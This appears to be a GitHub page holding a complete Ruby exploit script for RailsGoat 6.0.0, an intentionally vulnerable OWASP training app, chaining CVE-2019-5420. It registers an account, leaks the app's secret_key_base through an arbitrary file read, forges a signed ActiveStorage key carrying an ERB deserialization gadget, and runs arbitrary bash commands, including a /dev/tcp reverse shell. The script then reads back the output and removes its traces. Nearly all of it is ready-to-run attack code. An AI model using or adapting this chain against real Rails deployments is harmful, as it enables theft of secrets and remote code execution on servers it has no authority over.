-
Notifications
You must be signed in to change notification settings - Fork 2
/
Copy patharbitrary-file-read-to-rce.rb
91 lines (81 loc) · 3.21 KB
/
arbitrary-file-read-to-rce.rb
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
# Exploit Title: RailsGoat 6.0.0 - Arbitrary File Read to RCE
# Date: 12/05/2023
# Exploit Author: krastanoel
# Tested on: Linux - Debian Bullseye
# Software Link: https://github.com/OWASP/railsgoat/
# Description: This script exploits the vulnerable package (CVE-2019-5420)
# Reference: https://krastanoel.com/exploit/2023-05-12-sca-sast-dast-exploitation-path
#!/usr/bin/env ruby
require 'erb'
require 'http'
require 'rack/utils'
require 'securerandom'
require 'active_support/json'
require 'active_support/key_generator'
require 'active_support/message_verifier'
require 'active_support/deprecation'
require 'active_support/core_ext/string'
command = ARGV[0]
usage = "Usage: #{$0} [command]
Example: #{$0} whoami"
abort usage if command.blank?
url = 'http://railsgoat.svc.cluster.local' # change this
name = SecureRandom.alphanumeric(8)
# user nested parameters
user_params = {
user: {
email: "#{name}@example.local",
first_name: "#{name}",
last_name: "#{name}",
password: "password",
password_confirmation: "password"
}
}
signup = HTTP.post("#{url}/users", :body => Rack::Utils.build_nested_query(user_params))
if signup.code == 302 && signup.headers['location'].include?('/dashboard/home')
cookies = signup.cookies
else
abort "Signup failed"
end
# get secret_token
params = {name: 'config/initializers/secret_token.rb', type: 'File'}
get_secret = HTTP.cookies(cookies).get("#{url}/download", params: params)
if get_secret.code == 200
# parse secret_key_base
get_secret.to_s.match(/secret_key_base = "([^"]+)"/)
secret_key_base = $1
abort 'Unable to extract secret key base' unless secret_key_base
else
abort 'Unable to leak secret token file'
end
# generate payload
key_generator = ActiveSupport::CachingKeyGenerator.new(ActiveSupport::KeyGenerator.new(secret_key_base, iterations: 1000))
secret = key_generator.generate_key("ActiveStorage")
# check if the command is a reverse shell
unless command.include?('/bin/bash -i') && command.include?('/dev/tcp') # silly hack just for 'tcp' reverse shell
command = "#{command} > /tmp/#{name}"
reflected = true
end
code = "system('bash','-c','" + command + "')"
erb = ERB.allocate
erb.instance_variable_set :@src, code
erb.instance_variable_set :@filename, "1"
erb.instance_variable_set :@lineno, 1
dump_target = ActiveSupport::Deprecation::DeprecatedInstanceVariableProxy.new erb, :result
verifier = ActiveSupport::MessageVerifier.new(secret)
callback_url = "#{url}/rails/active_storage/disk/#{verifier.generate(dump_target, purpose: :blob_key)}/test"
# command trigger
command_trigger = HTTP.get(callback_url)
abort 'Unable to trigger command' if command_trigger.code != 500
# get command output
params = {name: "/tmp/#{name}", type: 'File'}
command_output = HTTP.cookies(cookies).get("#{url}/download", params: params)
puts command_output if reflected
# cleanup
command = "rm -f /tmp/#{name}"
code = "system('bash','-c','" + command + "')"
erb.instance_variable_set :@src, code
dump_target = ActiveSupport::Deprecation::DeprecatedInstanceVariableProxy.new erb, :result
callback_url = "#{url}/rails/active_storage/disk/#{verifier.generate(dump_target, purpose: :blob_key)}/test"
command_cleanup = HTTP.get(callback_url)
puts 'Unable to cleanup payload' if command_cleanup.code != 500